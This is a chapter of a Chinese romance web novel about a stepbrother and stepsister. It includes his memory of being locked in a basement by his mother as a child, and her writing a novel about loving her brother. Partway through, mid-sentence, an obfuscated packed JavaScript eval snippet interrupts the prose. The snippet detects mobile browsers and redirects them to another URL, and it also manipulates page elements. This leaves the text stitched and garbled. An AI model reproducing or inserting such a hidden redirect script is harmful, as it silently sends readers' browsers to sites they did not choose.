“如果不是你选我做你的妹妹,我们现在应该还像之前那样……”韶真停顿了下,在想形容词,“不算太熟。” 周以慎喃喃地重复了一遍她的话,继而目光沉沉地看着她,若有似无地哼笑一声。他忽然很想告诉她,她口中所谓的不算太熟的五年,是他日复一日的隐忍与等待。 但他没有。 他仍旧是一副温和的笑容,“所以你觉得,我选择了你,是在江城再见到的时候吗?” 韶真点了点头。 周以慎静静地看着她,笑了笑没有说话。 他一直觉得妹妹年纪尚小,心智也并不成熟,许多事情看不太清。可当她问出这个问题的时候,却让他一瞬间有种她窥见了什么的错觉。 但现在看来,她看到的只是小小一隅。 确实是他走向她,选择了她。 但并不是在江城再见时,而是更早。 周以慎在十岁那年,经历了人生中最燥热不堪的夏天。没有关于盛夏、蝉鸣和冒着白雾的冰镇汽水的记忆,有的只是昏暗、闷热和密不透风的地下室。 那天清晨,他看着母亲抱着一束黄白相间的菊花坐进车里,她的眼眶是红的,目光里好像有化不开的忧愁。 他记得,每年的这天母亲都会去祭拜一个人,一个已经死去却带走了母亲几乎全部情感的人。她记得这个人的忌日,却记不清他的生日。 周以慎目睹载着母亲的车远去。 他站在原地,怀里抱着想要送给母亲的画。每当这天,母亲总比往常更难过,他想送些什么让她开心一点。 尽管,他并没有见过她开心的样子,也没有见过她笑。 她从来不对他笑。 但这并不妨碍年幼的周以慎幻想着,母亲收到画时笑起来的样子,一定很美。 他怀里抱着画,悄悄打开母亲房间的门。 母亲并未和父亲住在一起,她的房间没有得到许可是不能轻易踏入的。周以慎知道这一点,所以当推门时,他是惶恐过的。 但他想,只是把画放到母亲的桌子上就离开,不会碰乱任何东西。 他将画放在桌子上,边缘因为拿在手里时间久而有点卷翘。于是他把画铺好,随手拿了一样东西压平。 拿起来时才发现,那是一本相册,很薄,看起来只有寥寥几张照片。 出于小孩子的好奇心里作祟,周以慎翻开了那本相册。那是他第一次见到母亲的笑容,在一张褪色的旧照片里,而母亲依偎着的男人,他并不认识。 周以慎盯着那张照片看了好久。 一个想法在心中悄然萌芽,他小心翼翼地抽出那张照片,放进口袋里,然后把所有东西放回原位,像什么都没发生过一般离开房间。 他回到自己的房间,伸手摸了摸口袋里的照片,像是怀揣着甜蜜的糖果。以后他想看母亲的笑容,就可以翻出这张照片。 那时候他天真地想着,拿一张母亲应该发现不了吧?只是他忽略了母亲对这每一张照片的珍视程度。 母亲回来之后不过十分钟,他的房间被猛地推开。母亲手里紧攥着那副画,厉声质问他:“你是不是进了我的房间?一定是你,你把照片放在哪里了?快说!” 母亲的面容愤怒而扭曲。 他被吓到僵在原地,发不出任何声音,也没有任何动作。 母亲的情绪更加激动,她将那副画撕碎,手一扬,他一笔一画描绘的图案就成了碎片,飘飘扬扬落了满地。 “妈……” 他的话没说完,母亲已经走近他,用力拽着他的手腕,“你不说是吧?那我就把你关起来,直到你说为止。” 母亲把他拽进地下室,然后从外边锁上了门。 四周一片昏暗,母亲突如其来的情绪爆发让他久久回不过神。手腕处隐隐作痛,他单薄的脊背靠在墙壁上缓缓下滑,蜷缩在角落的阴影中。 周遭感受不到新鲜空气的流动,闷热感裹挟着他,后背的汗水浸湿了上衣。他把脸埋在膝盖里,紧紧闭着眼睛。 忽然,他听到地下室的门锁打开的声音,紧接着是一个稚嫩的女童声:“哥哥,找到你了。” 女孩走进来,在他旁边蹲下,弯着月牙般的眼睛对他说:“哥哥,别害怕,以后我会永远陪着你。” 他努力想要看清女孩的脸,却无济于事。 意识昏昏沉沉中,他睁开眼,门根本没有被打开,他的旁边空无一人。从始至终,这都是他幻想出来的。 后来,周钧礼直到半夜才回来。 他被从地下室带出来,听着父母再一次爆发争吵。 “你就为了那个男人的照片,就把儿子锁进地下室?” “怎么?心疼你儿子了?那你怎么不早点从情人的床上爬回来?” …… 他不再像以往那样哭着请求他们不要再吵了,而是安静地回到自己的房间,从里边把门锁上。他靠在门后,父母的争吵声消失了,有人捂住了他的耳朵,是妹妹。 一个存在于他幻想中的妹妹。 从那之后,这个幻想就时常陪伴着他,就像是对药物产生依赖般,即使知道是假的,他也无可自拔地沉迷其中。 直到二十岁那年,母亲过世,父亲再婚,继母身边跟着一个扎着高马尾的女孩。 那也是一个夏天,阳光照在她脸上,发丝和脸上细微的绒毛呈现淡淡的金色光晕。 她笑得有些腼腆,说:“哥哥好,我叫韶真。” 很难说清当时是什么感觉,他想,应当是类似于《三体》里庄颜对罗辑说:“罗老师好,我叫庄颜。” 从那以后,他觉得夏天的燥热似乎也没有那么难以忍受。 或许,有些人出现在生命里就是天选。 - 之后两天周以慎按部就班地开会,韶真写小说之余,就是被林助理带着打卡当地的景点,出来一趟跟旅游似的。 林助理和她熟了点,也会开玩笑说:“托你的福,头回出差体验了一次公费旅游。” 不止有出差补助、加班费,而且还不用面对上司,只负责带着上司妹妹到处逛,关键妹妹还特别好相处,没一点大小姐脾气。 林助理笑了笑:“我还很少见到像你们这样,关系看起来比亲兄妹还要好。” 他没说的是,刚见面的时候,如果不是事先知道这是周总的妹妹,他还以为是小女朋友呢。 那天她问的问题其实没有得到答案。 韶真也想不明白周以慎会什么会选择她,也许他只是想要一个妹妹,又或者,她说:“可能是因为,我哥他本身就是个很好的人吧。” 她没有了解过在她和母亲到周家之前的事,但是她觉得这么一个温柔的人,一定是在一个很有爱的环境下长大的吧? 回到江城已经是周五晚上。 韶真很意外地收到了宁晩发来的微信: 【妹妹,抱歉啊,你的联系方式是我给陆叙的。多年朋友,他软磨硬泡,我没忍住就给他了。我不知道会给你造成这么大的困扰,实在不好意思。不过陆叙现在被他爸勒令去开拓海外项目了,一时半会回不了国内。】 【等哪天你有时间我请你吃个饭,就当赔罪。】 韶真想到出差前,周以慎的承诺。 很难想象,短短几天,他动用了什么样的关系和手段,让陆叙就这么离开了江城。但他什么都没说,他只是轻描淡写地告诉她,不会让陆叙再有机会打扫她。 她一直都知道他是个好哥哥,但还是第一次这么直观地感受到,在他心中的那杆天平上,妹妹的分量要比朋友多得多。 沉默了会儿,韶真回了宁晩的消息:【再说吧。】 这算是拒绝了,有这么一茬事,她暂时并不想再和宁晩见面了。 隔天是休息日。 韶真觉得这趟出行最大的收获就是,她的作息真的调整过来了,虽然可能只是暂时的。 早上八点半,她自然醒洗漱完走出房间。 周以慎在做早餐,听见脚步声走近,他回头朝她笑了下:“怎么不多睡会?” “说过要调整作息的。”韶真稍显不好意思,“而且我还是起得晚了,哥哥你都已经做好早餐了。” 她不知道的是,周以慎并不是起床后开始做早餐。他六点钟准时起床,处理完工作邮件,进行五十分钟的环江晨跑,回来洗过澡后才不紧不慢地准备早餐。 有一类人,自律的同时也会要求别人。 但周以慎不同,在生活习惯这件事上,无论他是什么样,都不会对韶真做任何要求。甚至他会觉得很有意思,就像在看一颗肆意生长的植物。 它的枝叶可以横七竖八地生长,只要是在他的阳台里。但如果有一天它主动竖直,那他也会毫不吝惜的夸赞。 “这么乖吗?”周以慎低低笑了下,下巴一点,“给你煮了黑咖啡。” 韶真怔了怔,莫名地为这个“乖”字感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15147256|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到难为情,她是觉得有些暧昧的,可如果是哥哥夸赞妹妹的话,似乎也无可厚非。 或许是她在小说中写到了感情线,才会对现实里的哥哥多想。 她深吸一口气,去端咖啡,问他:“之前不是热牛奶吗?怎么换成黑咖啡了?” 韶真轻轻抿了一口,起初有点苦,满满的后味的醇香才在口腔中弥漫开。 “早上喝咖啡可以提高代谢。”周以慎弯唇看她,慢悠悠地接了后半句,“昨天晚上不还说最近吃得太多,体重上涨了?” 韶真昨晚回来后称了体重,比她住进这里之前胖了三斤。意料之中的事情,周以慎做的饭太好吃了,她完全没办法像之前那样有点饱腹感就撂筷子,现在她每次都会认真吃完。 她当时随口一说,其实也存了点小心思,希望周以慎能评价一句“没有,看着还和以前一样”,这样她就可以心安理得继续光盘。 毕竟,一般情况下,跟别人吐槽自己长胖了,大多数人都会有类似这种回复。 如果是情侣间,可能还会加一句“宝宝,你一点都不胖,你怎么样我都喜欢”。这是徐语宁之前和她分享过的原话。 但现在,她忽然觉得,所有这些口头上的话,都比不过早晨起来哥哥给她煮了一杯黑咖啡。相比语言,行动上的反馈更实际些。 韶真一口气喝完,提出建议:“下次记得三分糖。” - 下午时候,天色转阴。 周以慎临时回公司处理事情,房间里又安静下来。韶真拿了零食和甜品,坐在露台的摇椅上更新小说。 自从上次坐在这个地方写文后,她就觉得一边看风景一边码字确实还挺能激发灵感的。 手指放在键盘上,韶真不自觉回想起早上时周以慎说得那一句“这么乖吗”,她在这个“乖”字上反复回味,觉得有种难以言喻的苏感。 于是,在她的小说中,哥哥对妹妹的称呼变成了“小乖”。 中途,陈怡打来一通电话,问起她近况。 韶真在吃东西,声音有些含糊:“妈,我很好啊。你都不知道,你女儿短短几天都吃胖了三斤,不过我哥说了会帮我调整饮食中碳水和蛋白质的比例。” 那端陈怡沉默了会儿,忽然问:“你觉得你哥哥这个人怎么样?” 韶真不太理解母亲为什么这么问:“他是一个很温柔的人,对我也很好。就像你之前说的,他把我当亲妹妹看待。” 陈怡神色有些凝重。 她和周钧礼其实是大学同学,在一起过,但因为阶级差异被迫分开。直到再婚嫁给他之后,她只知道他前妻是病故,其他的一概不知。 但最近,她听到了些关于周以慎母亲的传言。 只言片语,她不知道该不该当真。 却也忍不住想,如果是真的,那么在那种环境下长大,周以慎怎么可能养成这样温和的性格? 但听到他们兄妹相处的很好,陈怡放心下来,传言不能尽信,而且这些年周以慎在她眼中一直都很优秀,完全不像是会有童年阴影的人。 或许是她想多了,陈怡眉眼放松下来,又叮嘱韶真:“住在哥哥家要安生一些,别添乱。等你那房子弄好,妈再回江城帮你里里外外好好打扫一遍。” 韶真“嗯”了声。 电话挂断后,她继续投入到创作当中。 小说里的感情线已经逐渐清晰起来,“妹妹”在某个骤风急雨的夜,意识到了对“哥哥”的感情。她在日记本上写下一句“爱上哥哥是我的宿命”后,穿着一件纯白色的睡裙,敲开了哥哥房间的门。 在写完这个剧情点后,韶真感觉到小腹一阵下坠感,仿佛被一双无形的手轻轻拉扯着。只愣了一秒钟,她就反应过来是怎么回事。 生理期来了。 她收拾行李搬过来的时候,完全没考虑到这件事,什么都没有带,而周以慎的房子里更不可能准备的有这些。 短暂思考过后,韶真拿起电梯卡下楼,附近的超市步行十分钟左右,来回很快。 - 问题处理得比想象中的要顺利,周以慎驱车回去的路上经过一家卖盆栽植物的店铺,不经意的一眼,他被一株卡罗拉玫瑰吸引。 很纯正的玫瑰红色,花瓣是丝绒般的质地。 他想,他的露台缺少一株小玫瑰。 周以慎抱着这一株玫瑰回去时,房间里很安静,露台的玻璃推拉门没有关,外边的天色阴沉沉的,风灌了进来,吹得窗帘扬起。 天气预报说今夜降雨。 看样子这场雨是要提前了。 周以慎走向露台,找了个合适的位置将那株盆栽玫瑰放置好。转过身时,看到了摇椅旁的小桌子上放着一台笔记本。 他记得,那是妹妹的电脑。 屏幕还亮着,大概是出门急忘记关掉了。 他本意只是想替她收起来,毕竟这天气快要下雨了。但想到提到小说时妹妹慌张的神色、以及拿错电脑时她的反应,鬼使神差地,周以慎看向电脑屏幕。 映入眼帘的是一句:爱上哥哥是我的宿命